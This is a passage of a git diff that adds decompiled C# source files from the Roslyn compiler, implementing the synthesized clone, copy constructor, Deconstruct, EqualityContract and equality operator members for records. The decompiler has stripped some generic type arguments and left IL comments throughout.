GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)SyntaxNode, compilationState, diagnostics); + try + { + ParameterSymbol parameterSymbol = Parameters[0]; + if (parameterSymbol.Type.IsErrorType()) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + BoundCall expression = syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.This(), ContainingType.GetMembersUnordered().OfType().Single(), syntheticBoundNodeFactory.Convert(syntheticBoundNodeFactory.SpecialType((SpecialType)1), syntheticBoundNodeFactory.Parameter(parameterSymbol)), false); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(expression))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordClone.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordClone.cs new file mode 100644 index 0000000..d20dce3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordClone.cs @@ -0,0 +1,123 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordClone : SynthesizedRecordOrdinaryMethod +{ + public SynthesizedRecordClone(SourceMemberContainerTypeSymbol containingType, int memberOffset) + : base(containingType, "$", memberOffset, MakeDeclarationModifiers(containingType)) + { + } + + private static DeclarationModifiers MakeDeclarationModifiers(SourceMemberContainerTypeSymbol containingType) + { + DeclarationModifiers declarationModifiers = DeclarationModifiers.Public; + declarationModifiers = (((object)VirtualCloneInBase(containingType) == null) ? ((DeclarationModifiers)((uint)declarationModifiers | (uint)((!containingType.IsSealed) ? 131072 : 0))) : (declarationModifiers | DeclarationModifiers.Override)); + if (containingType.IsAbstract) + { + declarationModifiers = (DeclarationModifiers)((uint)declarationModifiers & 0xFFFDFFFFu); + declarationModifiers |= DeclarationModifiers.Abstract; + } + return declarationModifiers; + } + + private static MethodSymbol? VirtualCloneInBase(NamedTypeSymbol containingType) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol baseTypeNoUseSiteDiagnostics = containingType.BaseTypeNoUseSiteDiagnostics; + if (!baseTypeNoUseSiteDiagnostics.IsObjectType()) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + return FindValidCloneMethod(baseTypeNoUseSiteDiagnostics, ref useSiteInfo); + } + return null; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + TypeWithAnnotations item; + if (!ContainingAssembly.RuntimeSupportsCovariantReturnsOfClasses) + { + MethodSymbol methodSymbol = VirtualCloneInBase(ContainingType); + if ((object)methodSymbol != null) + { + item = methodSymbol.ReturnTypeWithAnnotations; + goto IL_0031; + } + } + item = TypeWithAnnotations.Create(isNullableEnabled: true, ContainingType); + goto IL_0031; + IL_0031: + return (ReturnType: item, Parameters: ImmutableArray.Empty); + } + + protected override int GetParameterCountFromSyntax() + { + return 0; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)ContainingType.GetNonNullSyntaxNode(), compilationState, diagnostics); + try + { + if (base.ReturnType.IsErrorType()) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + ImmutableArray.Enumerator enumerator = ContainingType.InstanceConstructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (current.ParameterCount == 1 && (int)current.Parameters[0].RefKind == 0 && current.Parameters[0].Type.Equals(ContainingType, (TypeCompareKind)63)) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.New(current, syntheticBoundNodeFactory.This()))); + return; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/Records/SynthesizedRecordClone.cs", 132); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } + + internal static MethodSymbol? FindValidCloneMethod(TypeSymbol containingType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Invalid comparison between Unknown and I4 + if (containingType.IsObjectType() || !(containingType is NamedTypeSymbol namedTypeSymbol)) + { + return null; + } + if (!namedTypeSymbol.HasPossibleWellKnownCloneMethod()) + { + return null; + } + MethodSymbol methodSymbol = null; + ImmutableArray.Enumerator enumerator = containingType.GetMembers("$").GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current is MethodSymbol methodSymbol2 && (int)current.DeclaredAccessibility == 6 && !current.IsStatic && methodSymbol2.ParameterCount == 0 && methodSymbol2.Arity == 0) + { + if ((object)methodSymbol != null) + { + return null; + } + methodSymbol = methodSymbol2; + } + } + if ((object)methodSymbol == null || (!containingType.IsSealed && !methodSymbol.IsOverride && !methodSymbol.IsVirtual && !methodSymbol.IsAbstract) || !containingType.IsEqualToOrDerivedFrom(methodSymbol.ReturnType, (TypeCompareKind)63, ref useSiteInfo)) + { + return null; + } + return methodSymbol; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordCopyCtor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordCopyCtor.cs new file mode 100644 index 0000000..ccb9f3a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordCopyCtor.cs @@ -0,0 +1,166 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordCopyCtor : SynthesizedInstanceConstructor +{ + private readonly int _memberOffset; + + public override ImmutableArray Parameters { get; } + + public override Accessibility DeclaredAccessibility + { + get + { + if (ContainingType.IsSealed) + { + return (Accessibility)1; + } + return (Accessibility)3; + } + } + + protected sealed override bool HasSetsRequiredMembersImpl + { + get + { + if (!ContainingType.HasAnyRequiredMembers) + { + return ContainingType.HasRequiredMembersError; + } + return true; + } + } + + public SynthesizedRecordCopyCtor(SourceMemberContainerTypeSymbol containingType, int memberOffset) + : base(containingType) + { + _memberOffset = memberOffset; + Parameters = ImmutableArray.Create(SynthesizedParameterSymbol.Create(this, TypeWithAnnotations.Create(isNullableEnabled: true, ContainingType), 0, (RefKind)0, "original", (ScopedKind)0)); + } + + internal override LexicalSortKey GetLexicalSortKey() + { + return LexicalSortKey.GetSynthesizedMemberKey(_memberOffset); + } + + internal override void GenerateMethodBodyStatements(SyntheticBoundNodeFactory F, ArrayBuilder statements, BindingDiagnosticBag diagnostics) + { + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0093: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + BoundParameter receiver = F.Parameter(Parameters[0]); + foreach (FieldSymbol item in ContainingType.GetFieldsToEmit()) + { + if (!item.IsStatic) + { + statements.Add((BoundStatement)F.Assignment(F.Field(F.This(), item), F.Field(receiver, item))); + } + } + RecordDeclarationSyntax recordDeclarationSyntax = (RecordDeclarationSyntax)(object)F.Syntax; + SyntaxToken identifier; + TextSpan span2; + if (recordDeclarationSyntax.TypeParameterList != null) + { + identifier = recordDeclarationSyntax.Identifier; + TextSpan span = ((SyntaxToken)(ref identifier)).Span; + int start = ((TextSpan)(ref span)).Start; + span = ((SyntaxNode)recordDeclarationSyntax.TypeParameterList).Span; + span2 = TextSpan.FromBounds(start, ((TextSpan)(ref span)).End); + } + else + { + identifier = recordDeclarationSyntax.Identifier; + span2 = ((SyntaxToken)(ref identifier)).Span; + } + statements.Add((BoundStatement)new BoundSequencePointWithSpan((SyntaxNode)(object)recordDeclarationSyntax, null, span2)); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + if (HasSetsRequiredMembersImpl) + { + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)470)); + } + } + + internal static MethodSymbol? FindCopyConstructor(NamedTypeSymbol containingType, NamedTypeSymbol within, ref CompoundUseSiteInfo useSiteInfo) + { + MethodSymbol methodSymbol = null; + int num = -1; + ImmutableArray.Enumerator enumerator = containingType.InstanceConstructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (!HasCopyConstructorSignature(current) || current.HasUnsupportedMetadata || !AccessCheck.IsSymbolAccessible(current, within, ref useSiteInfo)) + { + continue; + } + if ((object)methodSymbol == null && num < 0) + { + methodSymbol = current; + continue; + } + if (num < 0) + { + num = methodSymbol.CustomModifierCount(); + } + int num2 = current.CustomModifierCount(); + if (num2 <= num) + { + if (num2 == num) + { + methodSymbol = null; + continue; + } + methodSymbol = current; + num = num2; + } + } + return methodSymbol; + } + + internal static bool IsCopyConstructor(Symbol member) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Invalid comparison between Unknown and I4 + if (member is MethodSymbol methodSymbol) + { + NamedTypeSymbol containingType = member.ContainingType; + if ((object)containingType != null && containingType.IsRecord && (int)methodSymbol.MethodKind == 1) + { + return HasCopyConstructorSignature(methodSymbol); + } + } + return false; + } + + internal static bool HasCopyConstructorSignature(MethodSymbol member) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + NamedTypeSymbol containingType = member.ContainingType; + if ((object)member != null && !member.IsStatic && member.ParameterCount == 1 && member.Arity == 0) + { + if (member.Parameters[0].Type.Equals(containingType, (TypeCompareKind)63)) + { + return (int)member.Parameters[0].RefKind == 0; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordDeconstruct.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordDeconstruct.cs new file mode 100644 index 0000000..e798a9d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordDeconstruct.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordDeconstruct : SynthesizedRecordOrdinaryMethod +{ + private readonly SynthesizedPrimaryConstructor _ctor; + + private readonly ImmutableArray _positionalMembers; + + public SynthesizedRecordDeconstruct(SourceMemberContainerTypeSymbol containingType, SynthesizedPrimaryConstructor ctor, ImmutableArray positionalMembers, int memberOffset) + : base(containingType, "Deconstruct", memberOffset, (DeclarationModifiers)(0x10 | (IsReadOnly(containingType, positionalMembers) ? 1024 : 0))) + { + _ctor = ctor; + _positionalMembers = positionalMembers; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)6, returnTypeLocation, diagnostics)), Parameters: ImmutableArrayExtensions.SelectAsArray, ParameterSymbol>(_ctor.Parameters, (Func, ParameterSymbol>)((ParameterSymbol param, ImmutableArray locations) => new SourceSimpleParameterSymbol(this, param.TypeWithAnnotations, param.Ordinal, (RefKind)2, (ScopedKind)0, param.Name, locations)), Locations)); + } + + protected override int GetParameterCountFromSyntax() + { + return _ctor.ParameterCount; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)ContainingType.GetNonNullSyntaxNode(), compilationState, diagnostics); + if (ParameterCount != _positionalMembers.Length) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(_positionalMembers.Length + 1); + for (int i = 0; i < _positionalMembers.Length; i++) + { + ParameterSymbol parameterSymbol = Parameters[i]; + Symbol symbol = _positionalMembers[i]; + TypeSymbol type; + if (!(symbol is PropertySymbol propertySymbol)) + { + if (!(symbol is FieldSymbol fieldSymbol)) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/Records/SynthesizedRecordDeconstruct.cs", 71); + } + type = fieldSymbol.Type; + } + else + { + type = propertySymbol.Type; + } + TypeSymbol t = type; + if (!parameterSymbol.Type.Equals(t, (TypeCompareKind)63)) + { + instance.Free(); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + if (!(symbol is PropertySymbol property)) + { + if (symbol is FieldSymbol f) + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Parameter(parameterSymbol), syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), f))); + } + } + else + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.Assignment(syntheticBoundNodeFactory.Parameter(parameterSymbol), syntheticBoundNodeFactory.Property(syntheticBoundNodeFactory.This(), property))); + } + } + instance.Add((BoundStatement)syntheticBoundNodeFactory.Return()); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(instance.ToImmutableAndFree())); + } + + private static bool IsReadOnly(SourceMemberContainerTypeSymbol containingType, ImmutableArray positionalMembers) + { + if (!containingType.IsReadOnly) + { + if (containingType.IsRecordStruct) + { + return !positionalMembers.Any((Symbol m) => hasNonReadOnlyGetter(m)); + } + return false; + } + return true; + static bool hasNonReadOnlyGetter(Symbol m) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)m.Kind == 15) + { + PropertySymbol obj = (PropertySymbol)m; + MethodSymbol getMethod = obj.GetMethod; + if ((object)obj.GetMethod != null) + { + return !getMethod.IsEffectivelyReadOnly; + } + return false; + } + return false; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityContractProperty.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityContractProperty.cs new file mode 100644 index 0000000..a2cb769 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityContractProperty.cs @@ -0,0 +1,149 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordEqualityContractProperty : SourcePropertySymbolBase +{ + internal sealed class GetAccessorSymbol : SourcePropertyAccessorSymbol + { + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + internal override bool SynthesizesLoweredBoundBody => true; + + internal GetAccessorSymbol(NamedTypeSymbol containingType, SourcePropertySymbolBase property, DeclarationModifiers propertyModifiers, Location location, CSharpSyntaxNode syntax, BindingDiagnosticBag diagnostics) + : base(containingType, property, propertyModifiers, location, syntax, hasBlockBody: true, hasExpressionBody: false, isIterator: false, default(SyntaxTokenList), (MethodKind)11, usesInit: false, isAutoPropertyAccessor: false, isNullableAnalysisEnabled: false, diagnostics) + { + }//IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + + internal override ExecutableCodeBinder? TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/Records/SynthesizedRecordEqualityContractProperty.cs", 164); + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)this.GetNonNullSyntaxNode(), compilationState, diagnostics); + try + { + syntheticBoundNodeFactory.CurrentFunction = this; + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Typeof((TypeSymbol)ContainingType)))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } + } + + internal const string PropertyName = "EqualityContract"; + + public override bool IsImplicitlyDeclared => true; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override SyntaxList AttributeDeclarationSyntaxList => default(SyntaxList); + + public override IAttributeTargetSymbol AttributesOwner => this; + + protected override Location TypeLocation => ContainingType.GetFirstLocation(); + + public SynthesizedRecordEqualityContractProperty(SourceMemberContainerTypeSymbol containingType, BindingDiagnosticBag diagnostics) + { + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode syntax = (CSharpSyntaxNode)(object)containingType.SyntaxReferences[0].GetSyntax(default(CancellationToken)); + bool isSealed = containingType.IsSealed; + bool flag = containingType.BaseTypeNoUseSiteDiagnostics.IsObjectType(); + DeclarationModifiers modifiers; + if (isSealed) + { + if (!flag) + { + goto IL_0055; + } + modifiers = DeclarationModifiers.Private; + } + else + { + if (!flag) + { + goto IL_0055; + } + modifiers = DeclarationModifiers.Protected | DeclarationModifiers.Virtual; + } + goto IL_005b; + IL_0055: + modifiers = DeclarationModifiers.Protected | DeclarationModifiers.Override; + goto IL_005b; + IL_005b: + base._002Ector(containingType, syntax, hasGetAccessor: true, hasSetAccessor: false, isExplicitInterfaceImplementation: false, null, null, modifiers, hasInitializer: false, isAutoProperty: false, isExpressionBodied: false, isInitOnly: false, (RefKind)0, "EqualityContract", default(SyntaxList), containingType.GetFirstLocation(), diagnostics); + } + + protected override SourcePropertyAccessorSymbol CreateGetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + return SourcePropertyAccessorSymbol.CreateAccessorSymbol(ContainingType, this, _modifiers, ContainingType.GetFirstLocation(), (CSharpSyntaxNode)(object)((SourceMemberContainerTypeSymbol)ContainingType).SyntaxReferences[0].GetSyntax(default(CancellationToken)), diagnostics); + } + + protected override SourcePropertyAccessorSymbol CreateSetAccessorSymbol(bool isAutoPropertyAccessor, BindingDiagnosticBag diagnostics) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/Records/SynthesizedRecordEqualityContractProperty.cs", 71); + } + + protected override (TypeWithAnnotations Type, ImmutableArray Parameters) MakeParametersAndBindType(BindingDiagnosticBag diagnostics) + { + return (Type: TypeWithAnnotations.Create(Binder.GetWellKnownType(DeclaringCompilation, (WellKnownType)61, diagnostics, base.Location), NullableAnnotation.NotAnnotated), Parameters: ImmutableArray.Empty); + } + + protected override void ValidatePropertyType(BindingDiagnosticBag diagnostics) + { + base.ValidatePropertyType(diagnostics); + VerifyOverridesEqualityContractFromBase(this, diagnostics); + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + + internal static void VerifyOverridesEqualityContractFromBase(PropertySymbol overriding, BindingDiagnosticBag diagnostics) + { + if (overriding.ContainingType.BaseTypeNoUseSiteDiagnostics.IsObjectType()) + { + return; + } + bool flag = false; + if (!overriding.IsOverride) + { + flag = true; + } + else + { + PropertySymbol overriddenProperty = overriding.OverriddenProperty; + if ((object)overriddenProperty != null && !overriddenProperty.ContainingType.Equals(overriding.ContainingType.BaseTypeNoUseSiteDiagnostics, (TypeCompareKind)63)) + { + flag = true; + } + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_DoesNotOverrideBaseEqualityContract, overriding.GetFirstLocation(), overriding, overriding.ContainingType.BaseTypeNoUseSiteDiagnostics); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityOperator.cs new file mode 100644 index 0000000..157f253 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityOperator.cs @@ -0,0 +1,56 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordEqualityOperator : SynthesizedRecordEqualityOperatorBase +{ + public SynthesizedRecordEqualityOperator(SourceMemberContainerTypeSymbol containingType, int memberOffset, BindingDiagnosticBag diagnostics) + : base(containingType, "op_Equality", memberOffset, diagnostics) + { + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Invalid comparison between Unknown and I4 + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)ContainingType.GetNonNullSyntaxNode(), compilationState, diagnostics); + try + { + MethodSymbol methodSymbol = null; + ImmutableArray.Enumerator enumerator = ContainingType.GetMembers("Equals").GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is MethodSymbol { ParameterCount: 1, Parameters: var parameters } methodSymbol2 && (int)parameters[0].RefKind == 0 && (int)methodSymbol2.ReturnType.SpecialType == 7 && !methodSymbol2.IsStatic && methodSymbol2.Parameters[0].Type.Equals(ContainingType, (TypeCompareKind)63)) + { + methodSymbol = methodSymbol2; + break; + } + } + if ((object)methodSymbol == null) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + BoundParameter boundParameter = syntheticBoundNodeFactory.Parameter(Parameters[0]); + BoundParameter boundParameter2 = syntheticBoundNodeFactory.Parameter(Parameters[1]); + BoundExpression expression; + if (ContainingType.IsRecordStruct) + { + expression = syntheticBoundNodeFactory.Call(boundParameter, methodSymbol, boundParameter2); + } + else + { + BoundExpression left = syntheticBoundNodeFactory.ObjectEqual(boundParameter, boundParameter2); + BoundExpression right = syntheticBoundNodeFactory.LogicalAnd(syntheticBoundNodeFactory.ObjectNotEqual(boundParameter, syntheticBoundNodeFactory.Null(syntheticBoundNodeFactory.SpecialType((SpecialType)1))), syntheticBoundNodeFactory.Call(boundParameter, methodSymbol, boundParameter2)); + expression = syntheticBoundNodeFactory.LogicalOr(left, right); + } + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(expression))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityOperatorBase.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityOperatorBase.cs new file mode 100644 index 0000000..e8d9552 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEqualityOperatorBase.cs @@ -0,0 +1,75 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedRecordEqualityOperatorBase : SourceUserDefinedOperatorSymbolBase +{ + private readonly int _memberOffset; + + public sealed override bool IsImplicitlyDeclared => true; + + protected sealed override Location ReturnTypeLocation => GetFirstLocation(); + + protected sealed override SourceMemberMethodSymbol? BoundAttributesSource => null; + + internal sealed override bool GenerateDebugInfo => false; + + internal sealed override bool SynthesizesLoweredBoundBody => true; + + protected SynthesizedRecordEqualityOperatorBase(SourceMemberContainerTypeSymbol containingType, string name, int memberOffset, BindingDiagnosticBag diagnostics) + : base((MethodKind)9, null, name, containingType, containingType.GetFirstLocation(), (CSharpSyntaxNode)(object)containingType.SyntaxReferences[0].GetSyntax(default(CancellationToken)), DeclarationModifiers.Static | DeclarationModifiers.Public, hasAnyBody: true, isExpressionBodied: false, isIterator: false, isNullableAnalysisEnabled: false, diagnostics) + { + _memberOffset = memberOffset; + } + + internal sealed override LexicalSortKey GetLexicalSortKey() + { + return LexicalSortKey.GetSynthesizedMemberKey(_memberOffset); + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + + public sealed override string? GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + internal sealed override ExecutableCodeBinder? TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/Records/SynthesizedRecordEqualityOperatorBase.cs", 61); + } + + internal abstract override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics); + + protected sealed override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + NullableAnnotation nullableAnnotation = (ContainingType.IsRecordStruct ? NullableAnnotation.Oblivious : NullableAnnotation.Annotated); + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)7, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Create((ParameterSymbol)new SourceSimpleParameterSymbol(this, TypeWithAnnotations.Create(ContainingType, nullableAnnotation), 0, (RefKind)0, (ScopedKind)0, "left", Locations), (ParameterSymbol)new SourceSimpleParameterSymbol(this, TypeWithAnnotations.Create(ContainingType, nullableAnnotation), 1, (RefKind)0, (ScopedKind)0, "right", Locations))); + } + + protected override int GetParameterCountFromSyntax() + { + return 2; + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + 